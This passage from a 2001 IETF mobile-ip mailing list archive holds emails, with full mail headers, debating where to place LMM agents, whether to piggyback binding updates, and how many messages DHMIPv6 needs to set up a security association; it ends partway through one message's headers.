	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011128144252.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-soliman-mobileip-flow-move-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-soliman-mobileip-flow-move-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011128144252.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 08:33:59 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA28393
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 08:33:59 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA25270;
	Thu, 29 Nov 2001 05:32:34 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA21442;
	Thu, 29 Nov 2001 05:31:45 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATDUu1V016445
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 05:30:56 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATDUteJ016444
	for mobile-ip-dist; Thu, 29 Nov 2001 05:30:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATDUq1V016437
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 05:30:52 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA09883
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 05:30:53 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA06295
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 06:30:52 -0700 (MST)
Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fATDUpu27072
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 14:30:51 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Thu Nov 29 14:30:51 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2MGX3H>; Thu, 29 Nov 2001 14:22:37 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0D5@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] LMM for IPv6 requirements-Movement detection
Date: Thu, 29 Nov 2001 14:30:29 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

James,

  > The diagram Theo originally sent had the border router to 
  > the Internet
  > marked as the second AR vertically,
  > you seemed to have combined it here with the LMM agent in your
  > diagram below. 

=> Not intentionally, but it doesn't make a difference, 
I can use the same arguments for your diagram below.

The problem is that if you locate the LMM 
  > agent anywhere
  > in the
  > domain except at the border router or the access router, 
  > you may end up
  > getting an additional dog
  > leg between the LMM agent and the other router. Here is an example
  > (if I can get the ASCII text to work right);
  > 
  >                          CN
  >                            |
  >                            |
  >                           BR
  > 
  >                { The Internet }
  > 
  >                         BR
  >                            \
  >                             \
  >                              \
  >                              LMM
  >                            /
  >                          /
  >                        /
  >                     AR
  >                       |
  >                     MN
  > 
  > If the number of hops between the AR, LMM agent, and BR is low, this
  > might not be such a problem,
  > but it is adding a "triangle route" which is what route 
  > optimization was
  > originally designed to eliminate.
  > The triangle route in this case is much smaller than 
  > without LMM because
  > it does not extend over the Internet,
  > but it is still there.
  > 
  > If you put the LMM agent at a border router, as you've done 
  > below, or an
  > access router, you still end up with
  > occasions when the  leg to the MN gets long, but there is 
  > only one leg,
  > and you can optimize by having the MN
  > switch LMM agents when the leg gets too long. This minimizes the
  > triangle route.

=> I think you've missed my point in my reply to Theo.
The suboptimality of routing depends on:
- CN location (same domain or not )
- Network topology, combined with LMM agent placement. 

In you diagram above, there is no suboptimality
between the CN and MN. 
If I put the CN on the same subnet as the MN
there will be a few more hops, _if_the_MN
updates it with the LMM location. 

All these suboptimalities can take place regardless
of whethere the LMM is in the AR or not. 
Just because the MN is moving between 2 ARs, it 
doesn't mean that those ARs are one hop away (topologically)
from each other. I don't know why people assume that. 




  > 
  >  If the LMM agent is at the AR, the dog leg can be kept very small,
  > which is the point I think Theo was trying to make. But you 
  > can also put
  > the LMM agent at the BR, and have multiple BRs, which the 
  > MN can switch
  > between if the dog leg gets too
  > long. In general, I think the dog leg will be longer if the 
  > LMM agent is
  > at the BR, but it is still easier optimizing than if the
  > LMM agent is somewhere inside the domain.

=> OK let me illustrate again:
                                 

                                 CN

                                   Internet
                                 | 
                                BR
                                 |
                               Router 1
                                 |
                       ----------+---------+
                      AR1                  AR2
The MN is moving from AR1 to AR2.
                      
Having the LMM in Router1 makes a more optimal
route than if it were in AR1, in_this_case. In other cases it may not be so.
E.g. If we move the CN, change the topology, change the
location of the LMM agent. 


  > But I think this is mostly a matter of network engineering and not
  > really a requirements issue. The requirements already state 
  > that the LMM
  > agent must be placable in order to minimize triangle routing.
  > 

=> Exactly. Agreed 100 %. 


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 10:03:56 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA07938
	for <mobileip-archive@lists.ietf.org>; Thu, 29 Nov 2001 10:03:51 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA23128;
	Thu, 29 Nov 2001 08:01:39 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA03504;
	Thu, 29 Nov 2001 07:01:45 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATF0V1V016723
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 07:00:31 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATF0Vd3016722
	for mobile-ip-dist; Thu, 29 Nov 2001 07:00:31 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATF0R1V016715
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 07:00:27 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA26417
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 07:00:22 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA01219
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:00:21 -0700 (MST)
Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fATF0Gu16622
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 16:00:16 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Thu Nov 29 16:00:15 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2MG8GR>; Thu, 29 Nov 2001 15:52:01 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0DC@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] more about piggybacking.
Date: Thu, 29 Nov 2001 15:59:58 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Cedric, 

First, thanks for the analysis.
Some comments on your paper. I don't think I'm 
saying anything new (others have made similar 
comments), but you didn't include some fundamental 
issues in your analysis. 

For instance:

- You assume that the BU should share the same channel
  as the connection traffic. This on its own will add
  to jitter (whether you piggyback or not). So I think 
  you definitely want to have a separate channel for the 
  BU, especially on links with QoS assurances. The reason
  is that I believe you may need different channel characteristics
  (configuration) for your signalling when compared to
  your payload. One example is reliability and there 
  are more.  
  So IMHO the cleanest way to use MIPv6 on these links 
  (low BW, QoS assurances ....basically cellular !) is 
  to assign separate channels for IP signalling. 
  This would eliminate the jitter due to BUs. 

- You didn't consider the case where h exceeds 
  the link layer frame capacity and the impact of that
  on the application's traffic. I would imagine that 
  link layer fragmentation would take place which 
  would add delays/service disruption. 

- I think the bottom line is that we need to make 
  sure that the packet's size does not exceed the 
  link layer frame size (in very simple terms :))
  So if you can fit 2 packets in one layer 2 frame
  (l2 piggybacking) then the same result is achieved
  (as l3 piggybacking).  
  Of course in cases where you DO have channel 
  acquisition times then piggybacking is more crucial 
  but I don't see why it can't be done on L2 anyway. 


Some other minor comments: 

- You mention that VoIP handover are typically 
  every minute ? is this an IP handover ? if so
  what's the source ?

Hesham





  > -----Original Message-----
  > From: Cedric Westphal [mailto:cedric@iprg.nokia.com]
  > Sent: Tuesday, November 20, 2001 1:03 AM
  > To: mobile-ip@sunroof.eng.sun.com
  > Subject: [mobile-ip] more about piggybacking.
  > 
  > 
  > Hi,
  > 
  > there was an intense debate a couple weeks ago over the merits of
  > piggybacking. So we put together a little bit of analysis 
  > to bring the
  > discussion on less intuitive and more mathematical grounds.
  > 
  > The outcome of it is dual:
  > - The percentage improvement in bandwidth utilization is typically
  >    small.
  > - The percentage improvement in jitter during handover is typically
  >    large - actually, very large.
  > 
  > This basically says that piggybacking will not allow a 
  > provider to squeeze
  > more people on the same link, but that by not having 
  > piggybacking, the
  > user gets a significantly worst QoS.
  > 
  > The details will be available very soon at:
  > people.nokia.net/~rajeev/piggyback.ps
  > 
  > Cheers,
  > 
  > Cedric.
  > 


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 11:01:12 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16056
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 11:01:12 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA29536;
	Thu, 29 Nov 2001 07:59:45 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA07848;
	Thu, 29 Nov 2001 07:58:43 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATFvo1V016962
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 07:57:50 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATFvoDT016961
	for mobile-ip-dist; Thu, 29 Nov 2001 07:57:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATFvl1V016954
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 07:57:47 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA19357
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 07:57:47 -0800 (PST)
Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA00782
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:58:12 -0700 (MST)
Received: [from pobox4.mot.com (pobox4.mot.com [10.64.251.243]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id IAA13486 for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:57:36 -0700 (MST)]
Received: [from m-il06-r4.mot.com (m-il06-r4.mot.com [129.188.137.196]) by pobox4.mot.com (MOT-pobox4 2.0) with ESMTP id IAA19084 for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:57:36 -0700 (MST)]
Received: from thorgal.crm.mot.com by m-il06-r4.mot.com with ESMTP; Thu, 29 Nov 2001 08:54:01 -0700
Received: from test9.crm.mot.com.crm.mot.com (test9.crm.mot.com [140.101.173.239])
	by thorgal.crm.mot.com (Postfix) with ESMTP
	id 380EC2EC83; Thu, 29 Nov 2001 16:53:50 +0100 (CET)
To: Franck.Le@nokia.com
Cc: gab@sun.com, mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] draft-montenegro-mobileip-mipv6-seceval-00.txt
References: <57A26D272F67A743952F6B4371B8F8115550E0@daebe007.NOE.Nokia.com>
From: Alexandru Petrescu <petrescu@crm.mot.com>
Date: 29 Nov 2001 16:53:05 +0100
In-Reply-To: <57A26D272F67A743952F6B4371B8F8115550E0@daebe007.NOE.Nokia.com>
Message-Id: <m3r8qhwp3y.fsf@test9.crm.mot.com>
Lines: 61
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hi Frank and thanks for the message,

"Le Franck (NRC/Dallas)" <Franck.Le@nokia.com> writes:
> Unfortunately we did not have the time to work on the assessment of
> proposals yet, and we were thinking to submit a new version of the
> [DHMIPv6] to improve some aspects of the mechanism;

If you have a new version of the draft, please don't hesitate to send
it for evaluation.  Thank you.

> 1)"1.3:P: DHMIPv6 does not rely on IKE but it relies optionally on AAA
> as a key distribution infrastructure."
> 
> [DHMIPv6] describes a way to establish a security association between
> the MN and the CN without requiring the presence of any AAA
> infrastructure nor PKI.

The evaluation contains the word "optionally" to reflect what's in the
DHMIPv6 draft.  In my understanding, if DHMIPv6 relies on AAA (section
3 "A Diffie Hellman based key distribution relying on AAA servers")
then it provides a "stronger" form of authentication.

> 2)"2.5:P: The cryptographic part of DHMIPv6 is exclusively based on
> Diffie-Hellman algorithm.  No other algorithms that could be used to
> securely generate the key are presented."
> 
> That is correct: DHMIPv6 suggests a way to establish the security
> association based on the Diffie Hellman mechanism but if another
> protocol/mechanism is preferred, DHMIPv6 does not prevent it.
> We just need to make sure in the definition of the message format that
> if the MN and the CN wish to use another mechanism, they can indicate
> it.

Yes, this is correct.  I think this another mechanism should be
described in the draft.  Or at least leave place for it.

> 3) "2.9:I: The number of message exchanges is somewhat large for setting
> up a security association."
>    
> The internet draft [DHMIPv6] may not be clear but the mechanism only
> requires 4 messages for the first authenticated binding update:
> - one message from the MN to the CN to request to set up a SA
> - one message from the CN to the MN (via the HA)
> - the authenticated BU from the MN to the CN
> - the authenticated binding acknowledgement from the CN to the MN

This is actually 5 messages (4 plus the one to HA).  The DH that
relies on AAA (section 3) has 6 messages.  Here's how others perform:

PBK:     3
SAP:     3
BUSEC:   5
BAKE:    4
SUCV:    3
CAM-DH:  1 to 2
BU3WAY:  3 to 5

There are small variations wheter you take Binding Acknowledgments
into account or not.

Alex



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 11:14:42 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17469
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 11:14:41 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA21124;
	Thu, 29 Nov 2001 09:13:18 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA11090;
	Thu, 29 Nov 2001 08:13:24 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATGCV1V017150
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:12:31 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATGCVXq017149
	for mobile-ip-dist; Thu, 29 Nov 2001 08:12:31 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATGCR1V017142
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:12:27 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA18052
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:12:28 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA24975
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:12:24 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id IAA17552
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:12:24 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fATGCNo24505
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:12:23 -0800
X-mProtect:  Thu, 29 Nov 2001 08:12:23 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.141.130, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdjXAl2O; Thu, 29 Nov 2001 08:12:21 PST
Message-ID: <3C065E62.30671451@iprg.nokia.com>
Date: Thu, 29 Nov 2001 08:12:18 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] more about piggybacking.
References: <4DA6EA82906FD511BE2F00508BCF053801C4C0DC@Esealnt861.al.sw.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hesham,

thanks for reading it. Let me say here that the purpose of the document
was not to be exhaustive. Comments in line.

"Hesham Soliman (ERA)" wrote:

> Cedric,
>
> First, thanks for the analysis.
> Some comments on your paper. I don't think I'm
> saying anything new (others have made similar
> comments), but you didn't include some fundamental
> issues in your analysis.

>
>
> For instance:
>
> - You assume that the BU should share the same channel
>   as the connection traffic. This on its own will add
>   to jitter (whether you piggyback or not). So I think
>   you definitely want to have a separate channel for the
>   BU, especially on links with QoS assurances. The reason
>   is that I believe you may need different channel characteristics
>   (configuration) for your signalling when compared to
>   your payload. One example is reliability and there
>   are more.
>   So IMHO the cleanest way to use MIPv6 on these links
>   (low BW, QoS assurances ....basically cellular !) is
>   to assign separate channels for IP signalling.
>   This would eliminate the jitter due to BUs.

I agree with you that separating BUs from voice packet would eliminate
jitter
for voice packet. On the other hand, usually in an IP world, you don't have

that luxury of separating the cellular world's user plane and control
plane.

>
>
> - You didn't consider the case where h exceeds
>   the link layer frame capacity and the impact of that
>   on the application's traffic. I would imagine that
>   link layer fragmentation would take place which
>   would add delays/service disruption.

You are right.  I tried to keep it simple, and not to get into some
specific L2 issues.

>
>
> - I think the bottom line is that we need to make
>   sure that the packet's size does not exceed the
>   link layer frame size (in very simple terms :))
>   So if you can fit 2 packets in one layer 2 frame
>   (l2 piggybacking) then the same result is achieved
>   (as l3 piggybacking).

I agree with you on this too. But keep in mind this shoehorn principle: the
smaller the
size of what you are trying to fit in one L2, the better the chance
you'll succeed earlier. So if you try to fit one payload + one BU,
vs. one payload with pb'ed BU, you will finish first with the latter option
in
most situations.

>
>   Of course in cases where you DO have channel
>   acquisition times then piggybacking is more crucial
>   but I don't see why it can't be done on L2 anyway.

>
> Some other minor comments:
>
> - You mention that VoIP handover are typically
>   every minute ? is this an IP handover ? if so
>   what's the source ?

I had some order of magnitude in mind from cellular networks.
Take care,

Cedric.

>
>
> Hesham
>
>   > -----Original Message-----
>   > From: Cedric Westphal [mailto:cedric@iprg.nokia.com]
>   > Sent: Tuesday, November 20, 2001 1:03 AM
>   > To: mobile-ip@sunroof.eng.sun.com
>   > Subject: [mobile-ip] more about piggybacking.
>   >
>   >
>   > Hi,
>   >
>   > there was an intense debate a couple weeks ago over the merits of
>   > piggybacking. So we put together a little bit of analysis
>   > to bring the
>   > discussion on less intuitive and more mathematical grounds.
>   >
>   > The outcome of it is dual:
>   > - The percentage improvement in bandwidth utilization is typically
>   >    small.
>   > - The percentage improvement in jitter during handover is typically
>   >    large - actually, very large.
>   >
>   > This basically says that piggybacking will not allow a
>   > provider to squeeze
>   > more people on the same link, but that by not having
>   > piggybacking, the
>   > user gets a significantly worst QoS.
>   >
>   > The details will be available very soon at:
>   > people.nokia.net/~rajeev/piggyback.ps
>   >
>   > Cheers,
>   >
>   > Cedric.
>   >



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 11:27:12 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18789
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 11:27:11 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA13905;
	Thu, 29 Nov 2001 08:26:13 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA14289;
	Thu, 29 Nov 2001 08:25:22 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATGOW1V017313
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:24:32 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATGOWXc017312
	for mobile-ip-dist; Thu, 29 Nov 2001 08:24:32 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATGOS1V017305
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:24:29 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA20428
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:24:30 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA28470
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:24:29 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fATGOQc08115;
	Thu, 29 Nov 2001 08:24:26 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAK47646;
	Thu, 29 Nov 2001 08:23:50 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA27177; Thu, 29 Nov 2001 08:24:25 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15366.24889.168386.196110@thomasm-u1.cisco.com>
Date: Thu, 29 Nov 2001 08:24:25 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Cc: Franck.Le@nokia.com, gab@sun.com
Subject: Re: [mobile-ip] draft-montenegro-mobileip-mipv6-seceval-00.txt
In-Reply-To: <m3r8qhwp3y.fsf@test9.crm.mot.com>
References: <57A26D272F67A743952F6B4371B8F8115550E0@daebe007.NOE.Nokia.com>
	<m3r8qhwp3y.fsf@test9.crm.mot.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
